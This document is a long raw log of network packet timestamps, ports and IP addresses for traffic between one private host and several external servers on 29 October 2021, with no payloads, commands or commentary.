Oct 29, 2021 14:11:02.681821108 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.681942940 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.682086945 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.682136059 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.682214022 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.682415009 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.682566881 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.682590961 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.682857037 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.683042049 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.683423042 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.683530092 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.683768034 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.684031963 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.684372902 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.684550047 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.705658913 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.705770016 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.705987930 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.706228971 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.706346035 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.706465006 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.706743956 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.707068920 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.707182884 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.707468987 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.707581043 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.707824945 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.708064079 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.708386898 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.708619118 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.708898067 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.709106922 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.711638927 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.712436914 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.717056036 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.736970901 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.744808912 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.768762112 CEST	28978	49978	93.115.20.139	192.168.2.3
Oct 29, 2021 14:11:02.810811043 CEST	49978	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 14:11:02.919502020 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:02.924406052 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924462080 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924490929 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924520969 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924560070 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.924570084 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924596071 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.924609900 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924649000 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924660921 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.924686909 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924726963 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924735069 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.924767017 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924803972 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924809933 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.924843073 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924912930 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924920082 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.924952984 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924990892 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.924997091 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925029993 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925077915 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925086975 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925117970 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925170898 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925179005 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925208092 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925246954 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925270081 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925283909 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925321102 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925333977 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925359964 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925391912 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925427914 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925431013 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925472975 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925493956 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925509930 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925549030 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925569057 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925589085 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925627947 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925642014 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925668001 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925704956 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925728083 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925750971 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925790071 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925796986 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925827980 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925868988 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925873995 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.925903082 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.925956964 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927181005 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927221060 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927258015 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927272081 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927298069 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927336931 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927345991 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927377939 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927416086 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927428007 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927454948 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927493095 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927505970 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927530050 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927567005 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927572966 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927604914 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927643061 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927650928 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927683115 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927719116 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927733898 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927757978 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927795887 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927802086 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927833080 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927871943 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927887917 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927911997 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927949905 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.927966118 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.927989960 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928028107 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928054094 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.928066015 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928100109 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928112984 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.928137064 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928174973 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928188086 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.928211927 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928251028 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928253889 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.928289890 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.928339958 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.930615902 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930658102 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930696011 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930715084 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.930732965 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930772066 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930775881 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.930809975 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930852890 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930860043 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.930900097 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930936098 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.930949926 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.930975914 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.931013107 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.931020021 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.931039095 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.931077957 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.931087971 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.967065096 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:03.433496952 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.434154987 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.501837015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510682106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510736942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510768890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510797024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510828018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510864019 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.510868073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510909081 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.510917902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.510925055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.510968924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511007071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511022091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.511044979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511082888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511099100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.511121035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511158943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511172056 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.511195898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511234999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511243105 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.511274099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511310101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511323929 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.511348009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511385918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511404991 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.511421919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511461020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.511471033 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.560544014 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.578558922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578630924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578660011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578691959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578721046 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.578736067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578759909 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.578773022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578810930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578813076 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.578849077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578887939 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.578887939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578937054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578974962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.578984976 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579013109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579051971 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579051971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579088926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579125881 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579128027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579164982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579199076 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579202890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579241991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579277992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579278946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579315901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579355001 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579355001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579392910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579428911 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579431057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579468012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579502106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579505920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579545021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579580069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579581022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579618931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579657078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579658985 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579693079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579731941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579768896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579773903 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579807997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579808950 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579847097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579885006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579888105 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.579925060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579965115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.579967976 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.580002069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.580040932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.580050945 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.580077887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.580118895 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.627800941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.627857924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.627906084 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647351027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647408009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647447109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647449017 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647486925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647522926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647526979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647562981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647598028 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647600889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647639036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647676945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647679090 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647716999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647753000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647757053 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647792101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647826910 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647830963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647869110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647906065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.647907972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647948980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647988081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.647989035 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648027897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648063898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648066044 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648102999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648138046 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648140907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648176908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648214102 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648215055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648252010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648289919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648291111 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648329020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648365021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648365974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648405075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648439884 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648442030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648479939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648516893 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648518085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648555994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648593903 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648595095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648633957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648668051 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648669004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648706913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648741007 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648744106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648780107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648817062 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648818016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648891926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648931980 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.648936987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.648976088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649013996 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649014950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649050951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649085999 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649089098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649127007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649163008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:03.649163961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:03.649199963 CEST	80	50094	193.56.146.214	192.168.2.3
